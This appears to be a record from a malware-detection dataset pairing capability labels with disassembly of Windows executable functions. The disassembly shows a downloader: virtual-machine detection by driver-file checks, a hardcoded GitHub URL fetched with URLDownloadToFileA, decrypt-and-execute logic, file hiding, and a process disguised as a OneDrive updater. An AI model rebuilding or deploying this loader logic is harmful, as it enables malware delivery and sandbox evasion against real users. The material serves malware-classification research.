joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a68c8
Capabilities:
Encode data using xor

Disassembly:
test r9, r9
je 0x1400a698e
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
mov rbx, r9
mov r15d, 4
mov rdi, r8
mov rsi, rdx
mov r14, rcx
cmp rbx, r15
jb 0x1400a6959
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r15
lea rcx, [rsp + 0x20]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r15
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x68]
lea rdx, [rsp + 0x24]
xor eax, dword [rsp + 0x20]
mov r8, r15
mov rcx, r14
mov dword [rsp + 0x24], eax
call sub.VCRUNTIME140.dll_memcpy
add r14, r15
add rsi, r15
add rdi, r15
sub rbp, 1
jne 0x1400a690e
test rbx, rbx
je 0x1400a6976
sub rsi, rdi
sub r14, rdi
mov al, byte [rsi + rdi]
xor al, byte [rdi]
mov byte [r14 + rdi], al
inc rdi
sub rbx, 1
jne 0x1400a6964
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret

Function at 0x1400a6990
Capabilities:
Encode data using xor

Disassembly:
test r8, r8
je 0x1400a6a3d
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rbx, r8
mov r14d, 4
mov rsi, rdx
mov rdi, rcx
cmp rbx, r14
jb 0x1400a6a15
mov rbp, rbx
shr rbp, 2
imul rax, rbp, 0xfffffffffffffffc
add rbx, rax
mov r8, r14
lea rcx, [rsp + 0x68]
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8, r14
lea rcx, [rsp + 0x60]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x60]
lea rdx, [rsp + 0x20]
xor eax, dword [rsp + 0x68]
mov r8, r14
mov rcx, rdi
mov dword [rsp + 0x20], eax
call sub.VCRUNTIME140.dll_memcpy
add rdi, r14
add rsi, r14
sub rbp, 1
jne 0x1400a69cd
test rbx, rbx
je 0x1400a6a2b
sub rsi, rdi
mov al, byte [rsi + rdi]
xor byte [rdi], al
inc rdi
sub rbx, 1
jne 0x1400a6a1d
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x1400ac954
Capabilities:
Encrypt data using aes via x86 extensions

Disassembly:
movdqu xmm1, xmmword [rcx]
mov r9d, 4
shl edx, 2
mov r8, rcx
movdqu xmm0, xmmword [rcx + rdx*4]
movdqu xmmword [rcx], xmm0
movdqu xmmword [rcx + rdx*4], xmm1
add edx, 0xfffffffc
cmp edx, r9d
jbe 0x1400ac9a3
aesimc xmm0, xmmword [r8 + rdx*4]
mov ecx, r9d
add r9d, 4
aesimc xmm1, xmmword [r8 + rcx*4]
movdqu xmmword [r8 + rcx*4], xmm0
movdqu xmmword [r8 + rdx*4], xmm1
add edx, 0xfffffffc
cmp r9d, edx
jb 0x1400ac97a
mov eax, r9d
aesimc xmm0, xmmword [r8 + rax*4]
movdqu xmmword [r8 + rax*4], xmm0
ret

Function at 0x1400adf48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400adf92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400adf92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400adf92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400adf92
cmp dword [rcx + 0x84], 0xe
jbe 0x1400adf92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400adf94
xor al, al
add rsp, 0x28
ret
Function at 0x140001d60
Capabilities:
Check if file exists
Get file attributes
Get system information on windows

Disassembly:
sub rsp, 0x1a8
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x190], rax
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
movzx eax, word [rsp + 0x58]
cmp eax, 9
jne 0x140001d96
xor al, al
jmp 0x140001f45
lea rdx, str.vmware
lea rcx, [rsp + 0xd0]
call fcn.140006170
nop
lea rdx, str.virtualbox
lea rcx, [rsp + 0xf0]
call fcn.140006170
nop
lea rdx, [0x14003853c]
lea rcx, [rsp + 0x110]
call fcn.140006170
nop
lea rdx, str.qemu
lea rcx, [rsp + 0x130]
call fcn.140006170
nop
lea rdx, [0x140038548]
lea rcx, [rsp + 0x150]
call fcn.140006170
nop
lea rdx, str.hyperv
lea rcx, [rsp + 0x170]
call fcn.140006170
nop
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x30]
add rax, 0xc0
mov qword [rsp + 0x38], rax
jmp 0x140001e4b
mov rax, qword [rsp + 0x28]
add rax, 0x20
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
je 0x140001f1c
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x40], rax
mov r8, qword [rsp + 0x40]
lea rdx, str.C:WindowsSystem32drivers_
lea rcx, [rsp + 0xa8]
call fcn.140002e60
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
lea r8, str..sys
mov rdx, qword [rsp + 0x50]
lea rcx, [rsp + 0x88]
call fcn.140002e00
nop
lea rcx, [rsp + 0xa8]
call fcn.140007800
nop
lea rcx, [rsp + 0x88]
call fcn.14000c630
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140001f09
mov byte [rsp + 0x20], 1
lea rcx, [rsp + 0x88]
call fcn.140007800
nop
lea r9, [fcn.140007800]
mov r8d, 6
mov edx, 0x20
lea rcx, [rsp + 0xd0]
call fcn.1400121c4
movzx eax, byte [rsp + 0x20]
jmp 0x140001f45
lea rcx, [rsp + 0x88]
call fcn.140007800
nop
jmp 0x140001e3d
mov byte [rsp + 0x21], 0
lea r9, [fcn.140007800]
mov r8d, 6
mov edx, 0x20
lea rcx, [rsp + 0xd0]
call fcn.1400121c4
movzx eax, byte [rsp + 0x21]
mov rcx, qword [rsp + 0x190]
xor rcx, rsp
call fcn.140012690
add rsp, 0x1a8
ret

Function at 0x140001fe0
Capabilities:
Download url
Receive data

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rdx, str.Downloading_file_from
lea rcx, [0x14004c770]
call fcn.140002ab0
mov rdx, qword [rsp + 0x50]
mov rcx, rax
call fcn.140002a60
lea rdx, str._to
mov rcx, rax
call fcn.140002ab0
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.140002a60
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
mov rcx, qword [rsp + 0x58]
call fcn.14000c630
mov qword [rsp + 0x38], rax
mov rcx, qword [rsp + 0x50]
call fcn.14000c630
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov rcx, qword [rsp + 0x38]
mov r8, rcx
mov rdx, rax
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jge 0x1400020b4
lea rdx, str.Failed_to_download_file._HRESULT:
lea rcx, [0x14004c890]
call fcn.140002ab0
mov edx, dword [rsp + 0x30]
mov rcx, rax
call fcn.140007ea0
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
mov ecx, 1
call fcn.14001864c
nop
add rsp, 0x48
ret
Function at 0x140002260
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x4a0
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x490], rax
lea rdx, str.Decrypting_and_executing_file
lea rcx, [0x14004c770]
call fcn.140002ab0
mov rdx, qword [rsp + 0x4b0]
mov rcx, rax
call fcn.140002a60
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
mov rdx, qword [rsp + 0x4b0]
lea rcx, [rsp + 0x300]
call fcn.140005800
nop
mov edx, 1
lea rcx, [rsp + 0xf0]
call fcn.1400064b0
nop
lea rcx, [rsp + 0x300]
call fcn.14000f160
lea rcx, [rsp + 0x100]
mov rdx, rax
call fcn.140008260
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0xf0]
call fcn.14000fff0
nop
mov r8, qword [rsp + 0x4b8]
lea rdx, [rsp + 0x450]
lea rcx, [rsp + 0x430]
call fcn.140001c50
nop
lea rcx, [0x1400386b0]
call fcn.140018858
mov rdx, rax
lea rcx, [rsp + 0x470]
call fcn.140006170
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x58], rax
lea r8, [0x140038690]
mov rdx, qword [rsp + 0x58]
lea rcx, [rsp + 0x410]
call fcn.140002e00
nop
lea rcx, [rsp + 0x470]
call fcn.140007800
nop
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, 0x20
lea rdx, [rsp + 0x410]
lea rcx, [rsp + 0x1f0]
call fcn.140005bd0
nop
lea rcx, [rsp + 0x430]
call fcn.14000fda0
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x430]
call fcn.14000c630
mov rcx, qword [rsp + 0x60]
mov r8, rcx
mov rdx, rax
lea rcx, [rsp + 0x1f0]
call fcn.1400108c0
mov dword [rsp + 0x80], 0x68
lea rax, [rsp + 0x88]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rcx, [rsp + 0x410]
call fcn.14000c630
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rsp + 0x1f0]
call fcn.140008ba0
nop
lea rcx, [rsp + 0x410]
call fcn.140007800
nop
lea rcx, [rsp + 0x430]
call fcn.140007800
nop
lea rcx, [rsp + 0x450]
call fcn.140007800
nop
lea rcx, [rsp + 0xf0]
call fcn.140008c20
nop
lea rcx, [rsp + 0x300]
call fcn.140008ae0
nop
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.140012690
add rsp, 0x4a0
pop rdi
ret

Function at 0x1400025f0
Capabilities:
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x28
lea rdx, str.Setting_file_attributes_to_hidden_for
lea rcx, [0x14004c770]
call fcn.140002ab0
mov rdx, qword [rsp + 0x30]
mov rcx, rax
call fcn.140002a60
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
mov rcx, qword [rsp + 0x30]
call fcn.14000c630
mov edx, 6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
add rsp, 0x28
ret
Function at 0x140002650
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x1c8
mov rax, qword [0x14004b080]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
call fcn.140001d60
movzx eax, al
test eax, eax
je 0x14000267d
xor ecx, ecx
call fcn.14001864c
nop
call fcn.140001f70
call fcn.140001fa0
lea rdx, str.https:__github.com_whoamianon_Downloader_raw_refs_heads_main_d2g40bkcr11nqg51.exe
lea rcx, [rsp + 0x150]
call fcn.140006170
nop
lea rcx, [0x1400387e8]
call fcn.140018858
mov rdx, rax
lea rcx, [rsp + 0x170]
call fcn.140006170
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
lea r8, [0x1400387c8]
mov rdx, qword [rsp + 0x60]
lea rcx, [rsp + 0x110]
call fcn.140002e00
nop
lea rcx, [rsp + 0x170]
call fcn.140007800
nop
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0x150]
call fcn.140001fe0
lea rdx, [0x14004c4c8]
lea rcx, [rsp + 0x110]
call fcn.1400020c0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14004c4c8]
lea rcx, [rsp + 0x110]
call fcn.140002260
lea rcx, [rsp + 0x110]
call fcn.140002510
lea rcx, [rsp + 0x110]
call fcn.1400025f0
nop
lea rcx, str.APPDATA
call fcn.140018858
mov rdx, rax
lea rcx, [rsp + 0x190]
call fcn.140006170
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
lea r8, str.OneDriveStandaloneUpdater.exe
mov rdx, qword [rsp + 0x70]
lea rcx, [rsp + 0x130]
call fcn.140002e00
nop
lea rcx, [rsp + 0x190]
call fcn.140007800
nop
lea rcx, [rsp + 0x130]
call fcn.14000c630
mov qword [rsp + 0x78], rax
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140035460
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xa0]
call fcn.140035460
mov dword [rsp + 0xa0], 0x68
lea rax, [rsp + 0x80]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140002893
lea rdx, str.Process_created_successfully_
lea rcx, [0x14004c770]
call fcn.140002ab0
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x1400028ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x50], eax
lea rdx, str.Error_creating_process:
lea rcx, [0x14004c890]
call fcn.140002ab0
mov ecx, dword [rsp + 0x50]
mov edx, ecx
mov rcx, rax
call fcn.140008070
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
nop
lea rdx, str.Program_finished.
lea rcx, [0x14004c770]
call fcn.140002ab0
lea rdx, [0x140005050]
mov rcx, rax
call fcn.140008240
nop
mov dword [rsp + 0x54], 0
lea rcx, [rsp + 0x130]
call fcn.140007800
nop
lea rcx, [rsp + 0x110]
call fcn.140007800
nop
lea rcx, [rsp + 0x150]
call fcn.140007800
mov eax, dword [rsp + 0x54]
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.140012690
add rsp, 0x1c8
ret
Function at 0x140006740
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov r9d, 0x6c078965
mov r8d, 0xffffffff
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0x30]
call fcn.1400066f0
nop
mov rax, qword [rsp + 0x30]
add rsp, 0x28
ret

Function at 0x1400089a0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x270
jne 0x1400089c3
mov rcx, qword [rsp + 0x40]
call fcn.14000b940
nop
jmp 0x1400089db
mov rax, qword [rsp + 0x40]
cmp dword [rax], 0x4e0
jb 0x1400089db
mov rcx, qword [rsp + 0x40]
call fcn.14000b740
nop
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x40]
mov eax, dword [rcx + rax*4 + 4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x40]
mov eax, dword [rax]
inc eax
mov rcx, qword [rsp + 0x40]
mov dword [rcx], eax
mov eax, dword [rsp + 0x20]
shr eax, 0xb
mov rcx, qword [rsp + 0x40]
and eax, dword [rcx + 0x1384]
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 7
and eax, 0x9d2c5680
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shl eax, 0xf
and eax, 0xefc60000
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
shr eax, 0x12
mov ecx, dword [rsp + 0x20]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x14000b740
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0x26f
mov qword [rsp + 0x30], 0xe3
mov qword [rsp], 0
jmp 0x14000b770
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
cmp qword [rsp], 0xe3
jae 0x14000b7f2
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x10], eax
mov eax, dword [rsp + 0x10]
and eax, 1
test eax, eax
je 0x14000b7be
mov dword [rsp + 0x14], 0x9908b0df
jmp 0x14000b7c6
mov dword [rsp + 0x14], 0
mov eax, dword [rsp + 0x10]
shr eax, 1
xor eax, dword [rsp + 0x14]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
xor eax, dword [rcx + rdx*4 + 0xff8]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000b765
mov qword [rsp + 8], 0xe3
jmp 0x14000b80a
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x26f
jae 0x14000b891
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 + 0x9c4]
and eax, 0x80000000
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 + 0x9c8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x18], eax
mov eax, dword [rsp + 0x18]
and eax, 1
test eax, eax
je 0x14000b85b
mov dword [rsp + 0x1c], 0x9908b0df
jmp 0x14000b863
mov dword [rsp + 0x1c], 0
mov eax, dword [rsp + 0x18]
shr eax, 1
xor eax, dword [rsp + 0x1c]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x50]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000b7fd
mov qword [rsp + 0x38], 0x26f
mov eax, 4
imul rax, rax, 0x4df
mov rcx, qword [rsp + 0x50]
mov eax, dword [rcx + rax + 4]
and eax, 0x80000000
mov ecx, 4
imul rcx, rcx, 0
mov rdx, qword [rsp + 0x50]
mov ecx, dword [rdx + rcx + 4]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp + 0x20], eax
mov eax, dword [rsp + 0x20]
and eax, 1
test eax, eax
je 0x14000b8e5
mov dword [rsp + 0x24], 0x9908b0df
jmp 0x14000b8ed
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x20]
shr eax, 1
xor eax, dword [rsp + 0x24]
mov ecx, 4
imul rcx, rcx, 0x18c
mov rdx, qword [rsp + 0x50]
xor eax, dword [rdx + rcx + 4]
mov ecx, 4
imul rcx, rcx, 0x26f
mov rdx, qword [rsp + 0x50]
mov dword [rdx + rcx + 4], eax
mov rax, qword [rsp + 0x50]
mov dword [rax], 0
add rsp, 0x48
ret
Function at 0x14000b940
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp + 8], 0x270
jmp 0x14000b961
mov rax, qword [rsp + 8]
inc rax
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0x4e0
jae 0x14000b9e5
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 8]
mov eax, dword [rax + rcx*4 - 0x9bc]
and eax, 0x80000000
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov ecx, dword [rcx + rdx*4 - 0x9b8]
btr ecx, 0x1f
or eax, ecx
mov dword [rsp], eax
mov eax, dword [rsp]
and eax, 1
test eax, eax
je 0x14000b9b0
mov dword [rsp + 4], 0x9908b0df
jmp 0x14000b9b8
mov dword [rsp + 4], 0
mov eax, dword [rsp]
shr eax, 1
xor eax, dword [rsp + 4]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
xor eax, dword [rcx + rdx*4 - 0x388]
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 8]
mov dword [rcx + rdx*4 + 4], eax
jmp 0x14000b954
add rsp, 0x18
ret
Function at 0x1400109b0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
cmp qword [rsp + 0x70], 0
jg 0x1400109d2
xor eax, eax
jmp 0x140010b76
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x68], 0
je 0x1400109f7
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.140010b80
jmp 0x140010b76
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x60]
call fcn.14000a490
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jbe 0x140010a8e
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x20]
call fcn.140005200
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x60]
call fcn.14000dfc0
mov r8, qword [rsp + 0x28]
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.14000c870
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov edx, dword [rsp + 0x28]
mov rcx, qword [rsp + 0x60]
call fcn.14000ded0
nop
mov rax, qword [rsp + 0x60]
cmp qword [rax + 0x80], 0
je 0x140010b66
mov rcx, qword [rsp + 0x60]
call fcn.14000ba90
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x20], 0xfff
jbe 0x140010b2e
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x68]
call fcn.140019748
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x30], 0xfff
je 0x140010b2c
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
jmp 0x140010b76
jmp 0x140010ab4
cmp qword [rsp + 0x20], 0
jbe 0x140010b66
mov rax, qword [rsp + 0x60]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x20]
mov edx, 1
mov rcx, qword [rsp + 0x68]
call fcn.140019748
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
add rsp, 0x58
ret

Function at 0x140012db8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140012e02
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140012e02
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140012e02
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140012e02
cmp dword [rcx + 0x84], 0xe
jbe 0x140012e02
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140012e04
xor al, al
add rsp, 0x28
ret
Function at 0x140018448
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400184b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400184b7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400184b7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400184b7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400184b7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400184b7
cmp dword [rcx + 0xf8], 0
je 0x1400184b7
mov ecx, ebx
call fcn.140018568
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140018344
nop
cmp dword [rbp + 0x20], 0
je 0x140018505
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140018510
int3
xor r8d, r8d
xor edx, edx
jmp 0x140018448

Function at 0x14001864c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400184b7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400184b7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400184b7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400184b7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400184b7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400184b7
cmp dword [rcx + 0xf8], 0
je 0x1400184b7
mov ecx, ebx
call fcn.140018568
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140018344
nop
cmp dword [rbp + 0x20], 0
je 0x140018505
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140018510
int3
xor r8d, r8d
xor edx, edx
jmp 0x140018448